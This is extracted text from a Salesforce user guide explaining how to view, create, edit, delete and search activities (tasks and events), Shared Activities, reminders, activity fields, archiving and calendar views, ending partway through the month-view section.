See Viewing Activity Lists on page 122. Reminder Window The reminder window pops up to notify you of upcoming activities. See Using the Activity Reminder Window on page 135. Console Administrators of Professional, Enterprise, Unlimited, and Developer Edition organizations can set up the console to include activities. Click the Console tab to display the console, which allows you to find, view, and edit activities and their associated records on one screen. See Displaying the Console Tab on page 3497. See the following for details on viewing activities: Viewing Your Calendar Viewing Event Details Viewing Tasks

See Also:
Accessing Activities Creating Activities Editing Activities Deleting Activities Activity Fields Shared Activities Overview

Viewing Activity Lists


Available in: All Editions except Database.com

User Permissions Needed To view activities owned by you and users below you in the role hierarchy: To view all activities: No permissions needed View All Data

To display a list of activities for which you or your team is responsible for completing, click below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the Calendar or My Tasks sections, contact your administrator to customize your home page layout. Click an activity to view the detail. Click Edit or Del next to an activity subject to edit or delete a task. Click New Task or New Event to create a new activity. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view.

122

Activities

Creating Activities

The following list views are provided by Salesforce: All Activities - Shows activities that you can view. In Personal Edition, the All Activities list view shows all of your activities. My Activities - Shows activities that you own. My Delegated Activities - Shows activities that you created but are owned by someone else. Note: Inviting other Salesforce users to an event or task is like delegating that activity to those users. So the My Delegated Activities list view also shows activities for all invited users even if you still own that activity. In the list view, the invited user appears as the person assigned to the activity but the activity's detail page shows you as the assignee. My Team's Activities - Shows activities owned by users who report to you in the role hierarchy. For your convenience, your team's activities are converted to your time zone. To edit or delete any view you created, select it from the View drop-down list and click Edit. Archived activities are not included in activity list views. See Using the Activity History Related List for details on which activities are archived.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character.

See Also:
Viewing Activities Using Your Tasks and Calendar on the Home Page Working with Enhanced Lists Printing List Views Viewing Your Calendar Customizing User Interface Settings Using Inline Editing in Lists

Creating Activities
Available in: All Editions except Database.com

User Permissions Needed To create tasks: To create events: Edit Tasks Edit Events

You can create new activity records (tasks and events) from the following locations.

123

Activities

Creating Activities

In the sidebar In the sidebar, select Task or Event from the Create New drop-down list. On the home page On the Home tab, click New in the My Tasks section or New Event in the Calendar section. On the detail page of an associated record On the detail page of an associated record, click New Task, New Event, or New Meeting Request on the Open Activities related list. In addition, you can click Log a Call on the Activity History related list to add a new task record with a completed status. When you create a new activity from a record detail page, the record becomes the related record on the new activity. When you create a new meeting request or a new event from a contact or lead detail page, the contact or lead becomes both the related record and an invitee on the meeting or event. On a calendar view On a calendar view, click New Event to add a new event. In addition: On day views you can click New in the My Tasks section to add a new task. On day views you can click a time such as 9:00 AM to add an event at that time. On day and week views, you can double-click a time slot to create a new event. Your administrator controls the availability of this feature. Note that recurring events and multi-person events are not supported for click-and-create events on calendar views. On week and month views you can click the Add Event icon ( ) to add an event on a particular date.

On an activity list view On an activity list view, click New Task or New Event to create a new activity. To display an activity list view, click below the calendar on the Home tab or at the top of a calendar view. On account, contact, and lead list views On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note that your administrator controls the availability of this feature. For more information, see Working with Drag-and-Drop Scheduling on page 161. Note: In Enterprise, Unlimited, and Developer Editions, your administrator defines the record types that you can select when creating an activity. Record types determine the picklist values and page layouts that are available when creating and editing a record.

See Also:
Creating Tasks Creating Events Viewing Activities Editing Activities Shared Activities Overview Requesting a Meeting Using Cloud Scheduler

124

Activities

Editing Activities

Editing Activities
Available in: All Editions except Database.com

User Permissions Needed To edit tasks: To edit events: Edit Tasks Edit Events

See the following for details on editing activities: Editing Tasks Closing Tasks Editing Events Editing Multi-Person Events Editing Recurring Events Editing an Event in a Public or Resource Calendar

See Also:
Viewing Activities Creating Activities Deleting Activities Activity Fields

Deleting Activities
Available in: All Editions except Database.com Multi-person events are not available in: Personal Edition

User Permissions Needed To delete tasks: To delete events: Edit Tasks Edit Events

On the activity detail page, click Delete. Salesforce moves tasks and events to the Recycle Bin. Your administrator can use the Mass Delete feature to delete a group of activities or archived activities. .

125

Activities

Shared Activities Overview

For multi-person events, only the event owner can delete the event. However, when you decline an event, Salesforce removes the event from your calendar. When an event owner deletes an event, all invited users receive an email notifying them that the event has been canceled. When deleting a recurring event or deleting a recurring task, you can delete either a single occurrence in the series or the entire series. If your organization has Shared Activities tasks arent deleted unless the Related To field and all contacts are deleted.

See Also:
Recycle Bin Shared Activities Overview

Shared Activities Overview


Available in: All Editions except Database.com.

If your organization has enabled Shared Activities, you can relate as many as 10 contacts to non-recurring and non-group tasks, and non-recurring events. You assign one primary contact; all others are secondary contacts. Sharing activities gives you a more accurate picture when you view your task or event details and reports. Specifically, Shared Activities lets you view: Tasks and events when you have access to at least one contact or lead, and the related record, if it exists. You can also view tasks and events if your role is above the activity owners in your organizations hierarchy. Keep in mind, when you relate contacts to activities to which other users have access, those users can view the activity along with the names, account names, and titles of all the contacts you related to the activityincluding the contacts to which those users may not otherwise have access. All contacts related to a task on the task detail page or an event on the event detail page if your administrator adds the Name related list to the task page layout and event page layout. The number of contacts related to a task or event when you use the Relation Count column in activity reports. One row per contact for each activity in the Activities with Contacts report when you select at least one field from the related contact list. An activitys primary contact in two reports: Tasks and Events, and Activities with Cases. The primary contact also appears in the Name field on the task detail page or event detail page.

See Also:
Activity Fields Viewing Shared Activities in Reports

126

Activities

Understanding Shared Activities

Understanding Shared Activities


Available in: All Editions except Database.com.

If your organization has enabled Shared Activities, you can relate as many as 10 contacts to non-recurring and non-group tasks, and non-recurring events. You assign one primary contact; all others are secondary contacts. Activity History The Activity History related list of a record displays all completed tasks, logged phone calls, saved interaction logs, expired events, outbound email, mass email, email added from Microsoft Outlook, and merged documents for the record and its associated records. Last Activity Date The Last Activity of an account and contact is the most recent due date of an activity on the record. The following past or future activities set this date: Any event and closed tasks. Since activities roll up through associated records, the Last Activity date on an account can be an activity on a contact, opportunity, or other associated record. In Shared Activities, the contacts Last Activity date is based on the latest activity in which the contact is a primary contact. For example: Jane is related to two activities. Jane is not the primary contact for the first activity, which has the due date 11/30. Jane is the primary contact for the other activity, which has the due date 11/15. The Last Activity is 11/15, because its the latest activity for which Jane is the primary contact.

Primary Contact For activities that have multiple related contacts, you select one as the primary contact, who is the key person associated with that particular task or event. The primary contact appears in two reports: Tasks and Events, and Activities with Cases. If you delete the primary contact, the next contact on the activitys related list becomes the new primary one. If thats not the primary contact you want, you can edit the activity to select another. Related To A relationship is a connection between two objects, which Salesforce uses to create related lists in page layouts and detail levels in reports. Salesforce uses matching values in specified fields for both objects to link related data. For example, if one object stores data about companies and another object stores data about people, a relationship identifies which people work at the company. For example, when creating a task, you can relate a contact or opportunity to it. Then, when you view activities for that contact or opportunity, Salesforce displays the task. Tasks A task is a planned activity you can relate to another type of record, such as an account, contact, lead, opportunity, or case. You can also assign a task to a user you specify. When using Shared Activities, however, you cant create recurring or group tasks with more than one contact. You can specify the Subject, Status, Priority, and Due Date of the task. Events An event is an activity that has a scheduled time, such as a scheduled phone call, that you can relate to another type of record, such as an account, contact, lead, opportunity, or case. You can also assign an event to a user you specify. When

127

Activities

Learning about Differences Between Activities and Shared Activities

using Shared Activities, you cant create recurring events with more than one contact. You can specify the Subject, Start, End, and Location of the event.

See Also:
Shared Activities Overview

Learning about Differences Between Activities and Shared Activities


Available in: All Editions except Database.com.

Much of the activities functionality remains the same when you use Shared Activities for tasks and events, but there are differences. In Shared Activities, the contacts Last Activity date is based on the latest activity in which the contact is a primary contact. You may encounter problems with triggers, workflow, and data validation rules for the WhoID field if you add or remove it. Additionally, triggers, workflow, and data validation rules arent available for the TaskRelation object and the EventRelation object. If you change the owner of a contact, only the activities in which the contact is a primary contact transfer to the new owner. For example, the owner of the contact for Ron Dean changes, and Ron is related to two tasks: Ron is the primary contact for the task Conference Call. Ron is not the primary contact for the other task Quarterly Call, but hes related to it. When the owner changes, only the Conference Call task transfers to the new owner. If you create an activity and relate it to an account and a contact, and that contact is related to a different account, the activity rolls up to the contacts parent account. For example: The Sales Rep Call task is related directly to the Global Media account and also to the contact Ron Dean. Ron Deans parent account is HiTech Solutions. The Sales Rep Call task appears in the Global Media account details and also in the HiTech Solution account details. In Chatter feeds, you cant use feed tracking for the Name and Related to fields. Search filters search only on the primary contact for an activity.

Understanding Primary Contacts


Available in: All Editions except Database.com.

If your organization has enabled Shared Activities, you can relate as many as 10 contacts to non-recurring and non-group tasks, and non-recurring events. You assign one primary contact; all others are secondary contacts. For activities that have multiple related contacts, you select one as the primary contact, who is the key person associated with that particular task or

128

Activities

Viewing Shared Activities in Reports

event. The primary contact appears in two reports: Tasks and Events, and Activities with Cases. If you delete the primary contact, the next contact on the activitys related list becomes the new primary one. If thats not the primary contact you want, you can edit the activity to select another. In Shared Activities, the contacts Last Activity date is based on the latest activity in which the contact is a primary contact. For example: Jane is related to two activities. Jane is not the primary contact for the first activity, which has the due date 11/30. Jane is the primary contact for the other activity, which has the due date 11/15. The Last Activity is 11/15, because its the latest activity for which Jane is the primary contact. Note: If you delete or remove an activitys primary contact, another contact becomes the primary contact in its place. You can edit the activity to manually select another primary contact.

See Also:
Shared Activities Overview Displaying Related Contacts on Activity Detail Pages

Viewing Shared Activities in Reports


Available in: All Editions except Database.com.

Note: For custom report types, the TaskRelation object and the EventRelation object arent available.

If your organization has enabled Shared Activities, you can run certain reports that display details specific to activities with multiple contacts. If you want to view Use

The number of contacts related Activity reports. Add the Relation Count column to your reports. to a task or event For example, you create a task with five contacts. When you run the Tasks and Events report, it displays 5 to indicate the number of contacts related to the task. One row per contact for each The Activities with Contacts report. Select at least one field from the Contact object. activity For example, your report might include a task with five contacts. If you include the Last Name field from the contact object on the report, youll see five rows (one row for each contact) related to this activity. If you dont add any fields from the contact object, only one row appears for the activity. Only the Activities with Contacts report displays all contacts on an activity. Other reports show the primary contact and the total count of contacts on the activity but dont show details

129

Activities

Viewing Activity Updates (Chatter)

If you want to view

Use of the other contacts. The Activities with Contacts report is the only report that you can filter using attributes of contacts other than the primary contact.

An activitys Primary Contact Either Tasks and Events, or Activities with Cases reports. For example, if the primary contact for a task is Ron Dean, these reports display this name in the Contact field. Note: The Activities with Contacts report displays all contacts related to an activity but doesnt indicate which is the primary contact.

See Also:
Shared Activities Overview Understanding Shared Activities Learning about Differences Between Activities and Shared Activities Displaying Related Contacts on Activity Detail Pages

Viewing Activity Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the activity. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Feed and Hide Feed links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the post, click All Updates.

Following Activities
When you follow an activity, your Chatter feed includes field changes and activity feed updates. To follow an activity, click Follow. To stop following, click Following . The Followers list shows you who is following the activity. To view a full list, click Show All.

130

Activities

Deleting Recurring Events

Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks. Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed.

See Also:
Chatter Overview Using Chatter Feeds

Deleting Recurring Events


Available in: All Editions except Database.com

User Permissions Needed To delete recurring events: Edit Events

Only the event or series owner can delete an event or series of events. If you have been invited to an event or a series of events, to remove them from your calendar, decline the event or series of events. See Responding to Events on page 160 for more information. To delete a single event in a series of events: 1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record, and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit. 2. Click Delete Event. A warning dialog will be displayed. If you are sure you want to delete only this event in the series, click OK. Alternatively, hover your mouse over the event in a calendar. and click Delete in the event detail overlay. Note: When an event owner deletes a recurring event, all invited users receive an email notifying them that the event has been canceled. Deleted events are moved to the Recycle Bin. If they are restored, all the details of the event will be restored as well. To delete a series of events: 1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record. 2. Click the View Series subtab located above the task details, and click Delete Series. A warning dialog displays. If you are sure you want to delete every future occurrence in the series, click OK. Note: Consider the following when deleting a series of events: Deleting a series does not delete occurrences that have already happened. When an event owner deletes a series of recurring events, all invited users receive a single email notifying them that the series of events has been canceled. If a series is deleted and no events in the series occurred in the past, the series is placed in the Recycle Bin. Individual events that were part of the series are not placed in the Recycle Bin.

131

Activities

Using the Open Activities Related List

If a series is deleted and it contains events that occurred in the past, the series is not placed in the Recycle Bin, and therefore it cannot be restored from the Recycle Bin. If you restore a series from the Recycle Bin, individual events will be created. Those individual events will have the details as defined by the series, as well as any event-specific details that were set on the event before the series was deleted.

Using the Open Activities Related List


Available in: All Editions except Database.com

The Open Activities related list displays: Open tasks Open events Requested meetings

These activities are displayed for a record and its associated records. For example, if you have a task related to a contact, that task displays in the Open Activities related list of the contact as well as the associated account. If you use Shared Activities on page 126, the activities display in the related list of each related contact. From the Open Activities related list: Click New Task or New Event to create an activity that is associated with the record. Click New Meeting Request to request a meeting with a contact, lead, or person account. Once you request a meeting, the calendar icon ( ) displays next to it. Click Edit to edit an activity. Click Cls to close a task. For more information, see Closing Tasks on page 168. Click Del to delete an event or requested meeting. Salesforce.com emails the invitees that the event or meeting was canceled. Click the subject of an activity to open the detail page of the activity.

Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page 1311. Note: For person account records, the related list includes activities that have the person account in either the Name or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's name. For more information, see What is a Person Account? on page 68.

See Also:
Using the Activity History Related List Viewing Activities

132

Activities

Using the Activity History Related List

Using the Activity History Related List


Available in: All Editions except Database.com

The Activity History related list of a record displays all completed tasks, logged phone calls, saved interaction logs, expired events, outbound email, mass email, email added from Microsoft Outlook, and merged documents for the record and its associated records. In the Activity History related list, click: Log A Call to enter the results of unplanned phone calls and then schedule a follow-up task. Use this feature, along with scheduled events and tasks to track all activities for a record. Mail Merge to generate personalized documents using your data and Microsoft Word templates provided by your administrator. If you choose, the merged document is listed in the Activity History related list of the associated record. This button is not available for all types of records. For more information, see Sending Single Mail Merge Documents on page 2957. Send An Email to send an email to a contact or lead and associate the email with both the contact or lead and the displayed account, opportunity, case, or custom object. The email you send is automatically listed in the Activity History related list of the contact or lead. If the subject is longer than 100 characters, it is truncated with ellipses (...). When appropriate, it is also listed for the record associated with the email, such as the opportunity or case. This button is not available for all types of records. Compose Gmail to send an email to a contact or lead from your Gmail account. The email you send is automatically listed in the Activity History related list of the contact or lead. This button is only available if the Gmail Buttons and Links feature is enabled. If the Gmail to Salesforce feature is also enabled, the email you send is automatically listed in the Activity History related list of the contact or lead. See Using Gmail in Salesforce on page 337 for more information. Request Update to launch a contact update email to send to the selected contact. This email allows you to enter an introductory note asking the contact to update the contact information you have and send a reply with the updated information. You can update your contact record when you receive the response. These emails and the mass Stay-in-Touch emails will be listed in the Activity History related list. View All to display a printable view of all completed activities. Note that the View All button only displays when there are records to view. The subject of an activity to view its details.

If your organization has added the Case Activities related list to the View Cases page layout in the Self-Service portal and you have set the field-level security to visible for the Visible in Self-Service checkbox on activities, you can click the following: Make Public to display the completed activity in the activities related list on the case in the Self-Service portal. Make Private to hide the completed activity in the activities related list on the case in the Self-Service portal. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page 1311.

133

Activities

Setting Reminders on Activities

Note: For person account records, the related list includes activities that have the person account in either the Name or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's name. For more information, see What is a Person Account? on page 68.

See Also:
Using the Open Activities Related List About Archived Activities Viewing Activities Sending Email

Setting Reminders on Activities


Available in: All Editions except Database.com

User Permissions Needed To edit tasks: To edit events: Edit Tasks Edit Events

Salesforce can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of an upcoming task or event. The reminder displays in a small browser popup window when the activity assignee is logged in to Salesforce. When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur since the last time the user logged out are shown in the reminder window. When you create or edit an event or task, you have an option to set a reminder on it. The reminder defaults to the time specified in your reminder settings. To set a reminder on a task: 1. Create or edit a task. 2. Select the Reminder checkbox. 3. Choose the date and time for the reminder. You will be reminded of the task on that date and time. If you are setting the reminder for a recurring task series, the reminder applies to each occurrence in the series. 4. Click Save. To set a reminder on an event: 1. Create or edit an event. 2. Select the Reminder checkbox. 3. Choose how long before the event that you want to be reminded.

134

Activities

Using the Activity Reminder Window

4. Click Save.

See Also:
Using the Activity Reminder Window Customizing Activity Reminders Viewing Activities Editing Activities

Using the Activity Reminder Window


Available in: All Editions except Database.com

Reminders display in a small browser popup window, called the reminder window. When you log into Salesforce, a sound plays and the reminder window automatically pops up if you have any task or event reminders that were triggered since you last logged in. While you're logged in, the reminder window opens whenever a reminder is triggered. The reminder window shows you: Up to 100 of the oldest reminders you haven't dismissed The type of activitytask or event The activity subject (click to see activity details) When the task is due or when the event is scheduled to start When the reminder is due or if it's overdue

When viewing reminders, task reminders are sorted by due date and event reminders are sorted by start date and time. Additionally, if Sort reminder window by due date is not set, the reminders display in the following order: 1. The task and event reminder date and time. 2. The task due date or the event start date and time. 3. Ascending alphabetical order by subject. If Sort reminder window by due date is set, the reminders display in the following order: 1. The task due date or the event start date and time; if the task has no due date, then it displays first. 2. The task and event reminder date and time. 3. Ascending alphabetical order by subject. Use the table to determine what's shown as the task due date or event start time. Activity Type Task If you specified: A due date No due date Event An event time The Due Date or Start time shows: The date you selected when creating or editing the task. The value None. The date and time you selected when creating or editing the event.

135

Activities

Searching for Activities

Activity Type

If you specified: An all day event

The Due Date or Start time shows: The date you selected and the time set in the Start of day field in your Personal Information Settings page.

When viewing the reminder window, you can choose to dismiss or snooze one or more reminders. To dismiss all reminders in the window, click Dismiss All. After you click Dismiss All, the window will display any reminders that were not previously in the window due to the 100 reminder limit. To dismiss a reminder: 1. Select one or more reminders. 2. Click Dismiss. To snooze a reminder: 1. Select one or more reminders. 2. In the drop-down list, select one of the snooze options. The default snooze option is to remind you again in five minutes. 3. Click Snooze. When Sort reminder window by due date is not selected, if you click Snooze, the time overdue will be based on the snooze time when the reminder pops up again. If you close the reminder window, it will open again when youre notified of the next reminder. Note: If your reminder popups fail to display, ensure that your browser is not blocking them.

See Also:
Setting Reminders on Activities Customizing Activity Reminders Viewing Activities

Searching for Activities


Available in: All Editions except Database.com

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. 3. From the search results, click an item to open it or click Edit, if available.

136

Activities

Activity Fields

Note: Archived activities are accessible in advanced search and global search only.

See Also:
Search Overview Viewing Activities Shared Activities Overview

Activity Fields
The available fields vary according to which Salesforce Edition you have.

An activity has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Task fields Event fields

See Also:
Viewing Activities Activity Overview Shared Activities Overview

Event Fields
Field
Activity Currency

Description The default currency for all currency amount fields in the activity. Amounts display in the activity currency, and are also converted to the user's personal currency. Available only for organizations that use multiple currencies. Checkbox that specifies whether event lasts all day. Assigned owner of event. By default, the event is assigned to the creator. To assign the event to another user, enter a user's name, or select a user with the lookup icon. This field is not available in Personal Edition. Allows you to set up a series of recurring events.

All Day Event Assigned To

Create Recurring Series of Events

137

Activities

Event Fields

Field
Created By

Description User who created the event including creation date and time. (Read only) Planned date of event. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. This field appears only if multiday events are disabled; see Customizing Activity Settings.

Date

Description

Text note describing event. This field can hold up to 32KB of data. Division to which the activity belongs. This value is automatically inherited from the related account, lead, case, or custom object, if any. Otherwise, the activity belongs to the global division. Available only in organizations that use divisions to segment their data. The length of a timed event in hours and minutes. This field appears only if multiday events are disabled; see Customizing Activity Settings.

Division

Duration

Email

The email address of the contact or lead associated with the event. This field is automatically filled in with the value from the corresponding contact or lead record. Planned end date and time of event. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Additionally, you can add the current time by clicking the time link next to the field. This field appears only if multiday events are enabled; see Customizing Activity Settings.

End

Event Record Type

Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Edition. User who last changed the event, including modification date and time. (Read only) Contact or lead related to the event. You can enter the name of the person or use to select the name. If Shared Activities is enabled, you can relate up to 10 contacts to a non-recurring event. This field appears only if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details.

Last Modified By

Name

Location

Location of the event.

138

Activities

Event Fields

Field
Phone

Description The phone number of the contact or lead associated with the event. This field is automatically filled in with the value from the corresponding contact or lead record. Indicates whether users other than the event owner can see the event details when viewing the event owner's calendar. However, users with the View All Data or Modify All Data permission can see private event details in reports and searches, or when viewing other users' calendars. Exported data files will always contain private events. Cannot be set for multi-person events or when adding or modifying an event in another user's calendar. Private events cannot be associated with opportunities, accounts, cases, campaigns, contracts, leads, or contacts. The record that the event is associated with such as an account, opportunity, or custom object. This only displays if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details. This option is not available when you associate the event with a lead instead of a contact. Optional field that allows users invited to an event to enter a note when they accept or decline the event. This field is not available in Personal Edition. Picklist that determines how this event appears when another user views your calendar: busy, out of office, or free time. Planned start date and time of event. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Additionally, you can add the current time by clicking the time link next to the field. This field appears only if multiday events are enabled; see Customizing Activity Settings.

Private

Related To

Response

Show Time As

Start

Subject

Entry describing subject of activity, for example, Meeting. You can enter a subject, or select from a list of previously defined subjects. Time of a planned event. You can add the current time by clicking the time link next to the field. This field appears only if multiday events are disabled; see Customizing Activity Settings.

Time

Type

Type of the event, for example, Email, Meeting. Each picklist value can have up to 40 characters.

139

Activities

Task Fields

Field
Visible in Self-Service

Description Checkbox that specifies whether the completed event is visible in the Self-Service portal. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

Task Fields
Field
Activity Currency

Description Default currency for all currency amount fields in the activity. Amounts display in the activity currency, and are also converted to the users personal currency. Available only for organizations that use multiple currencies. Assigned owner of task. By default, the task is assigned to the creator. To assign the task to another user, enter a users name, or select a user with the lookup icon. This field is not available in Personal Edition. To assign independent copies of a new task to multiple users, see Creating Group Tasks on page 165. Text note describing the task. This field can hold up to 32KB of data. Allows you to set up a series of recurring tasks. Selecting this checkbox automatically disables the Due Date field because each task occurrence in a series will have a different due date. User who created the task including creation date and time. (Read only) Division to which the activity belongs. This value is automatically inherited from the related account, lead, case, or custom object, if any. Otherwise, the activity belongs to the global division. Available only in organizations that use divisions to segment their data. Date when the task should be completed. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Email address of the contact or lead associated with the task. This field is automatically filled in with the value from the corresponding contact or lead record.

Assigned To

Comments

Create Recurring Series of Tasks

Created By

Division

Due Date

Email

140

Activities

Task Fields

Field
Last Modified By

Description User who last changed the task, including modification date and time. (Read only) Contact or lead related to the task. You can enter the name of the person or use to select the name. If you use Shared Activities, you can relate up to 10 contacts to the task. This field appears only if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details.

Name

Phone

Phone number of the contact or lead associated with the task. This field is automatically filled in with the value from the corresponding contact or lead record. Urgency of the task, for example, Low, Medium, or High. (Picklist selections can be customized by your administrator.) Record that the task is associated with such as an account or opportunity. This field is not available when you associate the task with a lead instead of a contact. This field appears only if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details. Checkbox that sends an automated email to the task assignee to notify him or her that the task was assigned. This option is not available in Personal Edition. Current status of task, for example, Not Started or Completed. (Picklist selections can be customized by your administrator.) Subject or short description of the task, for example, Email quote to customer. You can enter a subject, or select from a picklist of previously defined subjects. Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Edition. Type of task, for example, Email, Meeting. Each picklist value can have up to 40 characters. Checkbox that specifies whether the completed task is visible in the Self-Service portal. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

Priority

Related To

Send Notification Email

Status

Subject

Task Record Type

Type

Visible in Self-Service

141

Working with Calendars

About Archived Activities

About Archived Activities


Available in: All Editions except Database.com

Salesforce archives activities according to these conditions. Events with a due date more than 365 days old Closed tasks with a due date greater than 365 days old Closed tasks without a due date and created more than 365 days ago

Additional considerations for activity archiving: Archiving occurs weekly at approximately 5:00 AM Greenwich Mean Time (GMT) on Saturday. Archived activities can be viewed only in export files, printable view, or by clicking View All on the Activity History related list. You can also view an archived activity if you know the URL for the activity. Administrators can delete archived activities using Mass Delete. Archived tasks are not included in reports. However, you can report on open or completed tasks. Archived activities arent copied when you create or refresh a sandbox.

See Also:
Searching for Activities Using the Activity History Related List Activity Overview Shared Activities Overview

WORKING WITH CALENDARS


Viewing Your Calendar
Available in: All Editions except Database.com

You can access your calendar from the following locations. Your Home page. The Calendar shortcut in the sidebar that opens your last used calendar view. Your Salesforce administrator must enable this shortcut. The detail page of an event or task, which includes calendar icons at the top. An activities list view, which includes calendar icons at the top.

142

Activities

Viewing Your Calendar

To navigate your calendar, use the calendar icons.

See Also:
Viewing Event Details Creating Events Editing Events About Event Detail Overlays Customizing Activity Reminders Resolving Your Synced Outlook Events

Using Calendar Icons


Available in: All Editions except Database.com

Item

Description Day view icon. Week view icon. Month view icon. Single-user view icon. Displays a user's calendar, a public calendar, or a resource calendar. Multi-user view icon. Displays several users' calendars. Activity list view icon. Previous arrow. Click to change the view to the previous day, week, or month, as appropriate. Next arrow. Click to change the view to the next day, week, or month, as appropriate. Pick a Date icon. Click to open a popup dialog where you can choose a specific date.

Note: identifies tasks and events that are part of a recurring series. identifies events with invitees. Multi-person events aren't available in Personal Edition.

See Also:
Viewing Your Calendar Tips for Viewing Your Calendar

143

Activities

Using the Calendar Day View

Tips for Viewing Your Calendar


Available in: All Editions except Database.com

Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag is changed, not the entire series. Your administrator controls the availability of drag-and-drop calendar editing. Create an event by double-clicking a time slot and entering the details in an interactive overlay. Your administrator controls the availability of click-and-create events. To change the default range of hours that your calendar displays, change the Start of day and End of day fields on your personal information page. For example, if your workday typically begins at 8:00 AM and ends at 6:00 PM, changing Start of day to 8:00 AM and End of day to 6:00 PM causes your daily and weekly calendar views to default to that range of hours. If you sync events from Outlook using Salesforce for Outlook, you may see a banner at the top of your calendar that links to a list of your unresolved events. These are synced Outlook events that still need to be assigned to Salesforce records.

See Also:
Viewing Your Calendar Using Calendar Icons

Using the Calendar Day View


Available in: All Editions except Database.com

When viewing your calendar, click In the single user day view, you can:

to open the day view.

See the events scheduled for the specified day. See a list of tasks. You can change which tasks you see using the drop-down list. Hover your mouse over the subject of an event to see the details of the event in an overlay. Hover your mouse over the subject of a task to see the details of the task in an overlay. Note: The event detail or task detail overlays are hover popups that show information about the event or task and allow you to quickly edit or delete the event or task. The information presented on these overlays is configured by your administrator.

Click a time such as 9:00 AM to add an event at that time. Alternatively, double-click a time slot to enter the details of the event in an interactive overlay. Your administrator controls the availability of click-and-create events.

144

Activities

Using the Calendar Week View

Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag is changed, not the entire series. Your administrator controls the availability of drag-and-drop calendar editing. Drag-and-drop editing is not available for multiday events.

Navigate the calendar using the calendar icons. Click Today to display the day view for today. Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar. Click [Share My Calendar] to set your personal calendar sharing. Click Printable View to display the current calendar view in a print-ready format.

In the multi-user day view, you can view the events of multiple users for the specified day. Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday), always displays on both days in calendar views.

See Also:
Using the Calendar Week View Using the Calendar Month View Viewing Event Details Creating Events Editing Events

Using the Calendar Week View


Available in: All Editions except Database.com

When viewing your calendar, click In single user week view, you can:

to open the week view.

See the events scheduled for the specified week. Hover your mouse over the subject of an event to see the details of the event in an overlay. Click the Add Event icon ( ) to add an event on the appropriate day. Alternatively, double-click a time slot to enter the details of the event in an interactive overlay. Your administrator controls the availability of click-and-create events. Click the datefor example, 26 for March 26thto drill down to the day view for that day. Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag is changed, not the entire series. Your administrator controls the availability of drag-and-drop calendar editing. Drag-and-drop editing is not available for multiday events.

Navigate the calendar using the calendar icons. Click This Week to display the week view for the current week. Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar.

145

Activities

Using the Calendar Month View

Click [Share My Calendar] to set your personal calendar sharing. Click Printable View to display the current calendar view in a print-ready format. Select Show Weekends to display Saturday and Sunday. Tip: On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note that your administrator controls the availability of this feature. For more information, see Working with Drag-and-Drop Scheduling on page 161.

In the multi-user week view, you can view the events of multiple users for the specified week. For more information, see Using Multi-User Calendar Views on page 149. Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday), always displays on both days in calendar views.

See Also:
Using the Calendar Day View Using the Calendar Month View Viewing Event Details Creating Events Editing Events

Using the Calendar Month View


Available in: All Editions except Database.com

When viewing your calendar, click In single user month view, you can:

to open the month view.

